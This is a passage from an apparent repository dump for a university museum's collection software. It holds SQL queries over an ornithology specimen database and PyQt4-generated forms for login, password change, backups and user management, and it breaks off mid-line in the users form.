g.nomb_gen,\"-\", f.nomb_fam,\"-\", o.nomb_ord ,\"-\", c.nomb_cla ,\"-\", co.nomb_cientifico) as todo from ornitologia as orn natural join animal_colectado as a inner join subespecie as s inner join especies as e inner join genero as g inner join familia as f inner join orden as o inner join clase as c inner join coleccion as co where orn.cod_ani=(select cod_ani from animal_colectado where nomb_ani='Struthio camelus syriacus 2') and s.cod_sub = (select cod_ani from animal_colectado where nomb_ani='Struthio camelus syriacus 2') and s.cod_esp = e.cod_esp and e.cod_gen = g.cod_gen and g.cod_fam=f.cod_fam and f.cod_ord = o.cod_ord and o.cod_cla = c.cod_cla and c.cod_col = co.cod_col;\n\n\nselect orn.cod_orn,concat (m.nomb_mun,\"-\",d.nomb_dept,\"-\",p.nomb_pais) as localizacion,a.nomb_ani,concat (l.lat_grad,'-',l.lat_min,'-',l.lat_seg) as latitud,concat (l.lon_grad,'-',l.lon_min,'-',l.lon_seg) as longitud from ornitologia as orn natural join animal_colectado as a inner join localizacion as l inner join municipio as m inner join departamento as d inner join pais as p where orn.cod_ani=(select cod_ani from animal_colectado where nomb_ani='Struthio camelus syriacus 2') and a.cod_loc = l.cod_loc and l.cod_mun = m.cod_mun and m.cod_dept = d.cod_dept and d.cod_pais = p.cod_pais ;\n \n select nomb_ani from animal_colectado;\n\n,col.nomb_col as colector\n\nselect a.nomb_ani as nombre ,orn.cod_orn codigo ,concat (s.nomb_sub ,\"-\",e.nomb_esp,\"-\", g.nomb_gen,\"-\", f.nomb_fam,\"-\", o.nomb_ord ,\"-\", c.nomb_cla ,\"-\", co.nomb_cientifico)\n\t\tas taxonomia,concat (m.nomb_mun,\"-\",d.nomb_dept,\"-\",p.nomb_pais) as localizacion,concat (l.lat_grad,'-',l.lat_min,'-',l.lat_seg) as latitud,concat (l.lon_grad,'-',l.lon_min,'-',l.lon_seg) as longitud , l.altitud,col.nomb_col as colector \n\nfrom ornitologia as orn natural join animal_colectado as a natural join localizacion as l natural join municipio as m natural join departamento as d natural join pais as p ,\n\t colectores as col , subespecie as s natural join especies as e natural join genero as g natural join familia as f natural join orden as o natural join clase as c\n\t natural join coleccion as co \n\nwhere orn.cod_ani=(select cod_ani from animal_colectado where nomb_ani='Struthio camelus syriacus 2') \n \t\tand a.cod_loc = l.cod_loc and l.cod_mun = m.cod_mun and m.cod_dept = d.cod_dept and d.cod_pais = p.cod_pais \n and a.cod_col = col.cod_col \n and a.cod_sub = s.cod_sub and s.cod_esp = e.cod_esp and e.cod_gen = g.cod_gen and g.cod_fam=f.cod_fam and f.cod_ord = o.cod_ord and o.cod_cla = c.cod_cla ;\n\n\n // DATOS BASICOS POR nombre : Departamento subespecie especie sexo edad colector \n\n select concat('MHNU-O - ',orn.cod_orn) as codigo ,a.nomb_ani as nombre , d.nomb_dept as departamento ,a.estado as estado ,s.nomb_sub as subespecie, e.nomb_esp as especie , a.sexo as sexo , orn.edad as edad, col.nomb_col as colector \n from \tornitologia as orn natural join animal_colectado as a natural join localizacion as l natural join municipio as m natural join departamento as d , colectores as col , \n \t\tsubespecie as s natural join especies as e\n where \torn.cod_ani=(select cod_ani from animal_colectado where nomb_ani='Struthio camelus syriacus 2')\n \t\tand a.cod_col = col.cod_col\n \t\tand a.cod_loc = l.cod_loc and l.cod_mun = m.cod_mun and m.cod_dept = d.cod_dept\n \t\tand a.cod_sub = s.cod_sub and s.cod_esp = e.cod_esp ;\n\nselect concat('MHNU-O - ',orn.cod_orn) as codigo ,a.nomb_ani as nombre , d.nomb_dept as departamento ,a.estado,s.nomb_sub as subespecie, e.nomb_esp as especie , a.sexo as sexo , orn.edad as edad, col.nomb_col as colector \n from \tornitologia as orn natural join animal_colectado as a natural join localizacion as l natural join municipio as m natural join departamento as d , colectores as col , \n \t\tsubespecie as s natural join especies as e\n where a.cod_col = col.cod_col\n \t\tand a.cod_loc = l.cod_loc and l.cod_mun = m.cod_mun and m.cod_dept = (select cod_dept from departamento where nomb_dept = 'Meta')\n \t\tand a.cod_sub = s.cod_sub and s.cod_esp = e.cod_esp ;\n\nselect concat('MHNU-O - ',orn.cod_orn) as codigo ,a.nomb_ani as nombre , d.nomb_dept as departamento ,a.estado,s.nomb_sub as subespecie, e.nomb_esp as especie , a.sexo as sexo , orn.edad as edad, col.nomb_col as colector \n from \tornitologia as orn natural join animal_colectado as a natural join localizacion as l natural join municipio as m natural join departamento as d , colectores as col , \n \t\tsubespecie as s natural join especies as e\n where a.cod_col = col.cod_col\n \t\tand a.cod_loc = l.cod_loc and l.cod_mun = m.cod_mun and a.cod_sub = (select cod_sub from subespecie where nomb_sub = 'Struthio camelus camelus')\n \t\tand a.cod_sub = s.cod_sub and s.cod_esp = e.cod_esp ;\n\n\n\nselect concat('MHNU-O - ',orn.cod_orn) as codigo ,a.nomb_ani as nombre , d.nomb_dept as departamento ,a.estado,s.nomb_sub as subespecie, e.nomb_esp as especie , a.sexo as sexo , orn.edad as edad, col.nomb_col as colector \n from \tornitologia as orn natural join animal_colectado as a natural join localizacion as l natural join municipio as m natural join departamento as d , colectores as col , \n \t\tsubespecie as s natural join especies as e\n where a.cod_col = col.cod_col\n \t\tand a.cod_loc = l.cod_loc and l.cod_mun = m.cod_mun and a.cod_col = (select cod_col from colectores where nomb_col = 'f. aponte')\n \t\tand a.cod_sub = s.cod_sub and s.cod_esp = e.cod_esp ;\n\nselect count(orn.cod_orn) as cantidad \n from \tornitologia as orn natural join animal_colectado as a natural join localizacion as l natural join municipio as m natural join departamento as d , colectores as col , \n \t\tsubespecie as s natural join especies as e\n where a.cod_col = col.cod_col\n \t\tand a.cod_loc = l.cod_loc and l.cod_mun = m.cod_mun and m.cod_dept = (select cod_dept from departamento where nomb_dept = 'Meta')\n \t\tand a.cod_sub = s.cod_sub and s.cod_esp = e.cod_esp ;\n\nselect \n\tconcat('MHNU-O - ',orn.cod_orn) as codigo, a.nomb_ani, concat (s.nomb_sub ,\"-\",e.nomb_esp,\"-\", g.nomb_gen,\"-\", f.nomb_fam,\"-\", o.nomb_ord ,\"-\", c.nomb_cla ,\"-\", co.nomb_cientifico) as taxonomia, \n\tconcat (l.lat_grad,'-',l.lat_min,'-',l.lat_seg) as latitud,concat (l.lon_grad,'-',l.lon_min,'-',l.lon_seg) as longitud, concat (l.vereda,\"-\", m.nomb_mun,\"-\",d.nomb_dept,\"-\",p.nomb_pais) as localizacion,\n\ta.estado as estado, a.metodo as metodo, a.fecha as fecha_ingreso, a.sexo as sexo, a.peso as peso, a.habitat as habitat, a.anotaciones as anotaciones, orn.edad as edad, orn.envergadura as envergadura, \n\torn.inf_repro as informacion_reproductiva , orn.grasa as grasa, orn.cont_est as contenido_estomacal, orn.muda as muda, orn.part_blan as partes_blandas, orn.gonadas as gonadas , orn.oscificacion as osficicacion\nfrom \n\tornitologia as orn natural join animal_colectado as a natural join localizacion as l natural join municipio as m natural join departamento as d natural join pais as p, colectores as col,\n\tsubespecie as s natural join especies as e natural join genero as g natural join familia as f natural join orden as o natural join clase as c\n\tnatural join coleccion as co \nwhere\n\ta.cod_col = col.cod_col\n\tand orn.cod_orn=\"15\"\n\tand a.cod_sub = s.cod_sub;\n\t\nselect \n\tconcat('MHNU-O - ',orn.cod_orn) as codigo, a.nomb_ani, s.nomb_sub as subespecie,e.nomb_esp as especie, g.nomb_gen as genero, f.nomb_fam as familia , o.nomb_ord as orden , c.nomb_cla as clase , co.nomb_cientifico as coleccion, \n\tconcat (l.lat_grad,'-',l.lat_min,'-',l.lat_seg) as latitud,concat (l.lon_grad,'-',l.lon_min,'-',l.lon_seg) as longitud, concat (l.vereda,'-', m.nomb_mun,'-',d.nomb_dept,'-',p.nomb_pais) as localizacion,\n\ta.estado as estado, a.metodo as metodo, a.fecha as fecha_ingreso, a.sexo as sexo, a.peso as peso, a.habitat as habitat, a.anotaciones as anotaciones, orn.edad as edad, orn.envergadura as envergadura, \n\torn.inf_repro as informacion_reproductiva , orn.grasa as grasa, orn.cont_est as contenido_estomacal, orn.muda as muda, orn.part_blan as partes_blandas, orn.gonadas as gonadas , orn.oscificacion as osficicacion\nfrom \n\tornitologia as orn natural join animal_colectado as a natural join localizacion as l natural join municipio as m natural join departamento as d natural join pais as p, colectores as col,\n\tsubespecie as s natural join especies as e natural join genero as g natural join familia as f natural join orden as o natural join clase as c\n\tnatural join coleccion as co \nwhere\n\ta.cod_col = col.cod_col\n\tand orn.cod_orn='15'\tand a.cod_sub = s.cod_sub;\n\n\n#Datos para busqueda en la tabla\n\nStruthio camelus syriacus 2\nMeta\nStruthio camelus camelus\nf. aponte\n\n\n" }, { "alpha_fraction": 0.670122504234314, "alphanum_fraction": 0.7111215591430664, "avg_line_length": 52.037498474121094, "blob_id": "7835cb36ad4f938fec11e65543c1bb3a9c4d87da", "content_id": "a2538e48710bb08eeca4930bd9f9595fda504f7e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4246, "license_type": "no_license", "max_line_length": 132, "num_lines": 80, "path": "/Grafico/CambioPassGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'CambioPass.ui'\n#\n# Created: Sat Dec 06 21:40:43 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_CambioPass(object):\n def setupUi(self, CambioPass):\n CambioPass.setObjectName(_fromUtf8(\"CambioPass\"))\n CambioPass.resize(361, 233)\n CambioPass.setMinimumSize(QtCore.QSize(361, 233))\n CambioPass.setMaximumSize(QtCore.QSize(361, 233))\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"../10808257_892502220760807_508259266_n.jpg\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n CambioPass.setWindowIcon(icon)\n self.centralwidget = QtGui.QWidget(CambioPass)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.label = QtGui.QLabel(self.centralwidget)\n self.label.setGeometry(QtCore.QRect(0, -10, 381, 231))\n self.label.setText(_fromUtf8(\"\"))\n self.label.setPixmap(QtGui.QPixmap(_fromUtf8(\"C:/Fondos/contraseña.jpg\")))\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.TxtantiguaPass = QtGui.QLineEdit(self.centralwidget)\n self.TxtantiguaPass.setGeometry(QtCore.QRect(200, 60, 113, 20))\n self.TxtantiguaPass.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtantiguaPass.setObjectName(_fromUtf8(\"TxtantiguaPass\"))\n self.TxtRepetirPass = QtGui.QLineEdit(self.centralwidget)\n self.TxtRepetirPass.setGeometry(QtCore.QRect(200, 120, 113, 20))\n self.TxtRepetirPass.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtRepetirPass.setObjectName(_fromUtf8(\"TxtRepetirPass\"))\n self.TxtNuevaPass = QtGui.QLineEdit(self.centralwidget)\n self.TxtNuevaPass.setGeometry(QtCore.QRect(200, 90, 113, 20))\n self.TxtNuevaPass.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtNuevaPass.setObjectName(_fromUtf8(\"TxtNuevaPass\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(10, 160, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.pushButton_2 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_2.setGeometry(QtCore.QRect(210, 160, 75, 23))\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n self.pushButton_3 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_3.setGeometry(QtCore.QRect(120, 160, 75, 23))\n self.pushButton_3.setObjectName(_fromUtf8(\"pushButton_3\"))\n CambioPass.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(CambioPass)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n CambioPass.setStatusBar(self.statusbar)\n\n self.retranslateUi(CambioPass)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtantiguaPass.clear)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), CambioPass.Volver)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), CambioPass.CambioDePass)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtRepetirPass.clear)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtNuevaPass.clear)\n QtCore.QMetaObject.connectSlotsByName(CambioPass)\n\n def retranslateUi(self, CambioPass):\n CambioPass.setWindowTitle(_translate(\"CambioPass\", \"Cambio De Contraseña\", None))\n self.pushButton.setText(_translate(\"CambioPass\", \"Volver\", None))\n self.pushButton_2.setText(_translate(\"CambioPass\", \"Confirmar\", None))\n self.pushButton_3.setText(_translate(\"CambioPass\", \"Limpiar\", None))\n\n" }, { "alpha_fraction": 0.6430471539497375, "alphanum_fraction": 0.6916565895080566, "avg_line_length": 47.63529586791992, "blob_id": "8ddb530a54c0e1c3f1bd4802b7f8365fbdee2262", "content_id": "0093611df9674a5d42060fa0729e4bc7b4d05671", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4135, "license_type": "no_license", "max_line_length": 132, "num_lines": 85, "path": "/Grafico/LoginGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'Login.ui'\n#\n# Created: Fri Dec 05 17:06:04 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_Login(object):\n def setupUi(self, Login):\n Login.setObjectName(_fromUtf8(\"Login\"))\n Login.setWindowModality(QtCore.Qt.NonModal)\n Login.resize(463, 326)\n Login.setMinimumSize(QtCore.QSize(463, 326))\n Login.setMaximumSize(QtCore.QSize(463, 326))\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"../10808257_892502220760807_508259266_n.jpg\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n Login.setWindowIcon(icon)\n Login.setInputMethodHints(QtCore.Qt.ImhHiddenText)\n Login.setUnifiedTitleAndToolBarOnMac(False)\n self.centralwidget = QtGui.QWidget(Login)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.label_3 = QtGui.QLabel(self.centralwidget)\n self.label_3.setGeometry(QtCore.QRect(0, -10, 471, 341))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"High Tower Text\"))\n font.setPointSize(22)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.label_3.setFont(font)\n self.label_3.setText(_fromUtf8(\"\"))\n self.label_3.setPixmap(QtGui.QPixmap(_fromUtf8(\"C:/Fondos/10818706_904791449531884_726653690_n.jpg\")))\n self.label_3.setObjectName(_fromUtf8(\"label_3\"))\n self.BCreditos = QtGui.QPushButton(self.centralwidget)\n self.BCreditos.setGeometry(QtCore.QRect(10, 280, 75, 23))\n self.BCreditos.setObjectName(_fromUtf8(\"BCreditos\"))\n self.TxtUsuario = QtGui.QLineEdit(self.centralwidget)\n self.TxtUsuario.setGeometry(QtCore.QRect(250, 120, 113, 20))\n self.TxtUsuario.setObjectName(_fromUtf8(\"TxtUsuario\"))\n self.TxtClave = QtGui.QLineEdit(self.centralwidget)\n self.TxtClave.setGeometry(QtCore.QRect(250, 160, 113, 20))\n self.TxtClave.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtClave.setObjectName(_fromUtf8(\"TxtClave\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(140, 230, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.pushButton_2 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_2.setGeometry(QtCore.QRect(230, 230, 75, 23))\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n Login.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(Login)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n Login.setStatusBar(self.statusbar)\n\n self.retranslateUi(Login)\n QtCore.QObject.connect(self.BCreditos, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Login.Credito)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Login.Ingreso)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtClave.clear)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtClave.clear)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtUsuario.clear)\n QtCore.QMetaObject.connectSlotsByName(Login)\n\n def retranslateUi(self, Login):\n Login.setWindowTitle(_translate(\"Login\", \"Ingresar\", None))\n self.BCreditos.setText(_translate(\"Login\", \"Creditos\", None))\n self.pushButton.setText(_translate(\"Login\", \"Limpiar\", None))\n self.pushButton_2.setText(_translate(\"Login\", \"Ingresar\", None))\n\n" }, { "alpha_fraction": 0.6480140089988708, "alphanum_fraction": 0.6862353086471558, "avg_line_length": 48.407405853271484, "blob_id": "32a8fe8499dbb409843b5d6ab2b3ec9b1cd0f621", "content_id": "79b8c93cbcd88e8559d76aced66a411bac014022", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4003, "license_type": "no_license", "max_line_length": 111, "num_lines": 81, "path": "/Grafico/BackupGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'Backup.ui'\n#\n# Created: Fri Dec 05 17:14:50 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_Backup(object):\n def setupUi(self, Backup):\n Backup.setObjectName(_fromUtf8(\"Backup\"))\n Backup.resize(350, 324)\n Backup.setMinimumSize(QtCore.QSize(350, 324))\n Backup.setMaximumSize(QtCore.QSize(350, 324))\n self.centralwidget = QtGui.QWidget(Backup)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.label = QtGui.QLabel(self.centralwidget)\n self.label.setGeometry(QtCore.QRect(0, 0, 351, 301))\n self.label.setText(_fromUtf8(\"\"))\n self.label.setPixmap(QtGui.QPixmap(_fromUtf8(\"C:/Fondos/974460_904791486198547_282416342_n.jpg\")))\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.pushButton_2 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_2.setGeometry(QtCore.QRect(260, 210, 81, 23))\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n self.TxtPassCopia = QtGui.QLineEdit(self.centralwidget)\n self.TxtPassCopia.setGeometry(QtCore.QRect(200, 130, 113, 20))\n self.TxtPassCopia.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtPassCopia.setObjectName(_fromUtf8(\"TxtPassCopia\"))\n self.comboBox = QtGui.QComboBox(self.centralwidget)\n self.comboBox.setGeometry(QtCore.QRect(200, 80, 111, 22))\n self.comboBox.setObjectName(_fromUtf8(\"comboBox\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(10, 220, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n Backup.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(Backup)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n Backup.setStatusBar(self.statusbar)\n\n self.retranslateUi(Backup)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Backup.RealizarBackup)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Backup.Volver)\n QtCore.QMetaObject.connectSlotsByName(Backup)\n\n def retranslateUi(self, Backup):\n Backup.setWindowTitle(_translate(\"Backup\", \"Copias de seguridad\", None))\n self.pushButton_2.setText(_translate(\"Backup\", \"Realizar Copia\", None))\n self.comboBox.setItemText(0, _translate(\"Backup\", \"Todos los datos\", None))\n self.comboBox.setItemText(1, _translate(\"Backup\", \"Usuarios\", None))\n self.comboBox.setItemText(2, _translate(\"Backup\", \"Departamentos\", None))\n self.comboBox.setItemText(3, _translate(\"Backup\", \"Municipios\", None))\n self.comboBox.setItemText(4, _translate(\"Backup\", \"Animales Colectados\", None))\n self.comboBox.setItemText(5, _translate(\"Backup\", \"Ornitologia\", None))\n self.comboBox.setItemText(6, _translate(\"Backup\", \"Tejidos\", None))\n self.comboBox.setItemText(7, _translate(\"Backup\", \"Localizacion\", None))\n self.pushButton.setText(_translate(\"Backup\", \"Volver\", None))\n\n" }, { "alpha_fraction": 0.6385848522186279, "alphanum_fraction": 0.6868865489959717, "avg_line_length": 65.79244995117188, "blob_id": "97ad82f8c026f37dee0faadf0a5b5de3bafd9d2e", "content_id": "8efde41d508f198b485f6a7ac3c159129b84272f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14170, "license_type": "no_license", "max_line_length": 194, "num_lines": 212, "path": "/Grafico/UsuariosGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'Usuarios.ui'\n#\n# Created: Sat Nov 29 12:37:01 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_Usuarios(object):\n def setupUi(self, Usuarios):\n Usuarios.setObjectName(_fromUtf8(\"Usuarios\"))\n Usuarios.resize(590, 410)\n Usuarios.setMinimumSize(QtCore.QSize(590, 410))\n Usuarios.setMaximumSize(QtCore.QSize(590, 410))\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"../10808257_892502220760807_508259266_n.jpg\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n Usuarios.setWindowIcon(icon)\n self.centralwidget = QtGui.QWidget(Usuarios)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.label_4 = QtGui.QLabel(self.centralwidget)\n self.label_4.setGeometry(QtCore.QRect(420, 360, 161, 20))\n self.label_4.setObjectName(_fromUtf8(\"label_4\"))\n self.label_3 = QtGui.QLabel(self.centralwidget)\n self.label_3.setGeometry(QtCore.QRect(10, 0, 571, 41))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"High Tower Text\"))\n font.setPointSize(22)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8(\"label_3\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(10, 360, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.frame = QtGui.QFrame(self.centralwidget)\n self.frame.setGeometry(QtCore.QRect(10, 40, 271, 251))\n self.frame.setFrameShape(QtGui.QFrame.NoFrame)\n self.frame.setFrameShadow(QtGui.QFrame.Raised)\n self.frame.setObjectName(_fromUtf8(\"frame\"))\n self.frame_2 = QtGui.QFrame(self.frame)\n self.frame_2.setGeometry(QtCore.QRect(220, 300, 261, 311))\n self.frame_2.setFrameShape(QtGui.QFrame.StyledPanel)\n self.frame_2.setFrameShadow(QtGui.QFrame.Raised)\n self.frame_2.setObjectName(_fromUtf8(\"frame_2\"))\n self.label = QtGui.QLabel(self.frame)\n self.label.setGeometry(QtCore.QRect(0, 30, 271, 41))\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.label_2 = QtGui.QLabel(self.frame)\n self.label_2.setGeometry(QtCore.QRect(270, 20, 271, 41))\n self.label_2.setObjectName(_fromUtf8(\"label_2\"))\n self.label_6 = QtGui.QLabel(self.frame)\n self.label_6.setGeometry(QtCore.QRect(10, 100, 121, 21))\n self.label_6.setObjectName(_fromUtf8(\"label_6\"))\n self.label_7 = QtGui.QLabel(self.frame)\n self.label_7.setGeometry(QtCore.QRect(10, 180, 131, 21))\n self.label_7.setObjectName(_fromUtf8(\"label_7\"))\n self.label_8 = QtGui.QLabel(self.frame)\n self.label_8.setGeometry(QtCore.QRect(10, 140, 121, 21))\n self.label_8.setObjectName(_fromUtf8(\"label_8\"))\n self.label_9 = QtGui.QLabel(self.frame)\n self.label_9.setGeometry(QtCore.QRect(10, 220, 141, 21))\n self.label_9.setObjectName(_fromUtf8(\"label_9\"))\n self.TxtNombreUser = QtGui.QLineEdit(self.frame)\n self.TxtNombreUser.setGeometry(QtCore.QRect(150, 100, 113, 20))\n self.TxtNombreUser.setObjectName(_fromUtf8(\"TxtNombreUser\"))\n self.TxtPassNueva = QtGui.QLineEdit(self.frame)\n self.TxtPassNueva.setGeometry(QtCore.QRect(150, 140, 113, 20))\n self.TxtPassNueva.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtPassNueva.setObjectName(_fromUtf8(\"TxtPassNueva\"))\n self.TxtRepetirPass = QtGui.QLineEdit(self.frame)\n self.TxtRepetirPass.setGeometry(QtCore.QRect(150, 180, 113, 20))\n self.TxtRepetirPass.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtRepetirPass.setObjectName(_fromUtf8(\"TxtRepetirPass\"))\n self.TxtPassadmin = QtGui.QLineEdit(self.frame)\n self.TxtPassadmin.setGeometry(QtCore.QRect(150, 220, 113, 20))\n self.TxtPassadmin.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtPassadmin.setObjectName(_fromUtf8(\"TxtPassadmin\"))\n self.frame_3 = QtGui.QFrame(self.centralwidget)\n self.frame_3.setGeometry(QtCore.QRect(290, 40, 281, 251))\n self.frame_3.setFrameShape(QtGui.QFrame.NoFrame)\n self.frame_3.setFrameShadow(QtGui.QFrame.Raised)\n self.frame_3.setObjectName(_fromUtf8(\"frame_3\"))\n self.frame_4 = QtGui.QFrame(self.frame_3)\n self.frame_4.setGeometry(QtCore.QRect(220, 300, 261, 311))\n self.frame_4.setFrameShape(QtGui.QFrame.StyledPanel)\n self.frame_4.setFrameShadow(QtGui.QFrame.Raised)\n self.frame_4.setObjectName(_fromUtf8(\"frame_4\"))\n self.label_5 = QtGui.QLabel(self.frame_3)\n self.label_5.setGeometry(QtCore.QRect(0, 30, 281, 41))\n self.label_5.setObjectName(_fromUtf8(\"label_5\"))\n self.label_10 = QtGui.QLabel(self.frame_3)\n self.label_10.setGeometry(QtCore.QRect(10, 100, 121, 21))\n self.label_10.setObjectName(_fromUtf8(\"label_10\"))\n self.label_11 = QtGui.QLabel(self.frame_3)\n self.label_11.setGeometry(QtCore.QRect(10, 130, 121, 21))\n self.label_11.setObjectName(_fromUtf8(\"label_11\"))\n self.label_12 = QtGui.QLabel(self.frame_3)\n self.label_12.setGeometry(QtCore.QRect(10, 160, 131, 21))\n self.label_12.setObjectName(_fromUtf8(\"label_12\"))\n self.label_13 = QtGui.QLabel(self.frame_3)\n self.label_13.setGeometry(QtCore.QRect(10, 190, 121, 21))\n self.label_13.setObjectName(_fromUtf8(\"label_13\"))\n self.label_14 = QtGui.QLabel(self.frame_3)\n self.label_14.setGeometry(QtCore.QRect(10, 220, 131, 21))\n self.label_14.setObjectName(_fromUtf8(\"label_14\"))\n self.TxtUserNew = 